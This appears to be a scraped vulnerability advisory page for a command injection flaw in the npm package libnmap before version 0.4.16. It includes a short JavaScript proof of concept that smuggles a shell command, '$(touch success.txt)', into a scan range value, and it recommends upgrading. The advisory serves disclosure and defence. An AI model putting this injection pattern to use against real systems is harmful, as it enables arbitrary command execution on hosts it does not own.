Lucene search

K
osvGoogleOSV:GHSA-7G2W-6R25-2J7P
HistoryNov 01, 2018 - 2:51 p.m.

Command Injection in libnmap

2018-11-0114:51:33
Google
osv.dev
8

EPSS

0.003

Percentile

68.8%

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

EPSS

0.003

Percentile

68.8%

Related for OSV:GHSA-7G2W-6R25-2J7P